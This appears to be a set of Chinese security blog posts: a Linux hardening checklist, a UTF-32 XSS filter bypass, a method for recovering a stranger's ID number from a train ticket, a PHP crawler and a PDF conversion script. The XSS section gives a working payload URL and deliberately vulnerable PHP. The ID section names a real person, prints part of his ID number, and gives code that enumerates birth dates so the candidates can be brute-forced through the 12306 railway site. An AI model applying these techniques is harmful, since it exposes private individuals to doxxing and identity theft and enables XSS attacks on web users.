linux安全配置检查项

1.查看系统口令长度、强度检查

查看系统口令长度

cat /etc/login.defs

PASS_MIN_LEN=8 #设定最小用户密码长度为8 越大越好

查看系统口令强度

cat /etc/pam.d/system-auth
 
password required /lib/security/$ISA/pam_cracklib.so retry=3 minlen=9 dcredit=-1 ucredit=-1 lcredit=-1 ocredit=-1

从上面使用pam_cracklib.so的策略看,要求用户修改密码时必须要满足9位,并且密码中至少要包含一个大写字母、小写字母、数字和特殊符号

2.系统口令防破解时间限制检查

cat /etc/pam.d/system-auth

在第一行下即#%PAM-1.0的下面添加:
auth required pam_tally2.so deny=3 unlock_time=600 even_deny_root root_unlock_time=1200

各参数解释:
even_deny_root 也限制root用户;

deny 设置普通用户和root用户连续错误登陆的最大次数,超过最大次数,则锁定该用户

unlock_time 设定普通用户锁定后,多少时间后解锁,单位是秒;

root_unlock_time 设定root用户锁定后,多少时间后解锁,单位是秒;

3.系统文件权限检查

ls -l /etc/passwd 644 or 600 or 000
ls -l /etc/shadow 600 or 000
ls -l /etc/group 644 or 600 or 000

4.系统用户缺省访问权限

cat /etc/login.defs 查看umask 是否为027 or 077

5.查看是否开启日志

cat /var/log/messages
cat /var/log/secure

6.查看开机启动项

rc_local=`find / -name rc.local`
if [ "$rc_local" ]
then
find / -name rc.local|while read rc_filename
do
echo '[*]filename: '$rc_filename
cat $rc_filename
echo ''
done
else
echo '[x]Find rc_local not exists'
fi

7.查看定时任务

crontab -l

8.查看登录过用户

last|awk '{print $1}'|sort|uniq

9.查看成功登录的用户

if [ -f /var/log/secure ]
then
cat /var/log/secure|grep -i 'Accept'|awk '{print $1" "$2" "$3" "$11}'
else
echo '[x]/var/log/secure file not found'
fi

浅谈UTF-32编码

最近在收集曾经没完全弄明白例子(新手一枚),http://zone.wooyun.org/content/4448 这篇文章里介绍utf-32编码绕过google的xss过滤,成功在ie9以下版本执行js脚本。那么开始分析以下字符是如何转换的。
[0x00][0x00][0x22][0x00] –> ∀
[0x00][0x00][0x3C][0x00] –> 㰀
[0x00][0x00][0x3E][0x00] –> 㸀
通过文章介绍得到utf-32由4个字节组成
%00%00%22%00 –> ∀ (∀字符是%00%00%22%00 通过 utf-32转换utf-8得到的)接下来看例子

<meta charset="UTF-8">
 <?php 
$str='%00%00%22%00'; 
$str=urldecode($str); 
$str=mb_convert_encoding($str,"UTF-8","UTF-32"); 
echo urlencode($str); 
?>

运行后输出:%E2%88%80  也就是∀字符

接着我们就可以写出二哥demo页面 http://www.leesec.com/utf-32.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

<!DOCTYPE html> 
<html> 
<head> <meta charset="utf-8"></meta> 
</head>
 <body> 
<input type="text" value="<?php echo mb_convert_encoding(htmlspecialchars($_GET['v']),$_GET['charset'],"UTF-8"); ?>">
</input>
 </body> 
</html>

代码运行图片

破解火车票上的身份证号码

首先我在百度上找到了一个他人的火车票图片

接着从图片里我们可以获取到信息如下:

姓名 梅勇
性别 男 (倒数第四位至倒数第二位3位数为顺序码,顺序码为奇数所以为男性)
(可参考http://www.cnblogs.com/xudong-bupt/p/3293838.html)
来自 武汉市新洲区 (身份证号码前六位代表地区)
(可参考http://www.stats.gov.cn/tjsj/tjbz/xzqhdm/200406/t20040607_38302.html)

身份证号码:4201171988xxxx1638

得到上述消息后,我们可以通过身份证号码验证算法对其进行有效性验证和排除。
(可参考http://www.cnblogs.com/xudong-bupt/p/3293838.html)

我用JS实现了一个有效性验证,代码如下:

var sfz_qian="4201171988";
var sfz_hou4="1638";
var sfzhm="";
for(i=1;i<=12;i++)
{
  //为了程序的方便,我就假设每个月有31天
  for(j=1;j<=31;j++){
		if(i<10){
			if(j<10){
				sfzhm=sfz_qian+"0"+i+"0"+j+sfz_hou4;
			}else{
				sfzhm=sfz_qian+"0"+i+j+sfz_hou4;
			}
			result=getvalidcode(sfzhm);
	        	if(result!=false){
        	        	console.log(result);
        		}
 
		}else{
			if(j<10){
                               sfzhm=sfz_qian+i+"0"+j+sfz_hou4;
                        }else{
                               sfzhm=sfz_qian+i+j+sfz_hou4;
                        }
			result=getvalidcode(sfzhm);
       	 		if(result!=false){
			      console.log(result);
        	        }
 
		}		
 
		}
	}
 
 
 
function getvalidcode(sfzhm_new){
 
var sum=0;
var weight=[7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2];
var validate=['1','0','X','9','8','7','6','5','4','3','2'];
for(m=0;m<sfzhm_new.length-1;m++){
sum+=sfzhm_new[m]*weight[m];
}
mode=sum%11;
if(sfzhm_new[17]==validate[mode]){
	return sfzhm_new;
}else{
	return false;
}
 
}

代码运行后如下:

接着我们导出35条记录做为字典,拿到12306进行暴力添加常用联系人,最后我们得到了该图片上面的身份证号码了

php spider script

自己用PHP写了个爬虫,基本功能已经实现。 PHP spider 下载地址

linux 环境下运行#php spider.php http://www.leesec.com

下面为测试过程图

下面为测试结果

有兴趣的可以试试

脚本缺点:

1.未对静态页面进行去重处理
2.未对页面内js操作后的结果进行处理
3.相对路径转绝对路径BUG未处理(2014年9月8号修复这个BUG)

利用shell实现把drops.wooyun.org漏洞分析文章转成PDF

利用shell实现把drops.wooyun.org漏洞分析的所有文章转成PDF. PS:其实也可以弄成乌云月报的:)

ubuntu测试 执行成功(其他没有测试),附上PDF效果图片(PDF下载地址 http://pan.baidu.com/s/1i3LxEsP)

准备工具:wkhtmltopdf (可自行google 安装方法)

分析该页面(http://drops.wooyun.org/category/papers)后发现:
漏洞分析文章有11页、每页最多有10篇文章的url。因此我们可以用for循环11次,可以把所有文章的url都取出来,然后对每篇文章进行正则匹配,只要文章内容,不要评论。

脚本原理知道了,我们就用linux shell实现吧:)

shell 脚本下载地址:http://pan.baidu.com/s/1sj2Q0jz

然后linux run: wkhtmltopdf /tmp/drop.html /tmp/drops.pdf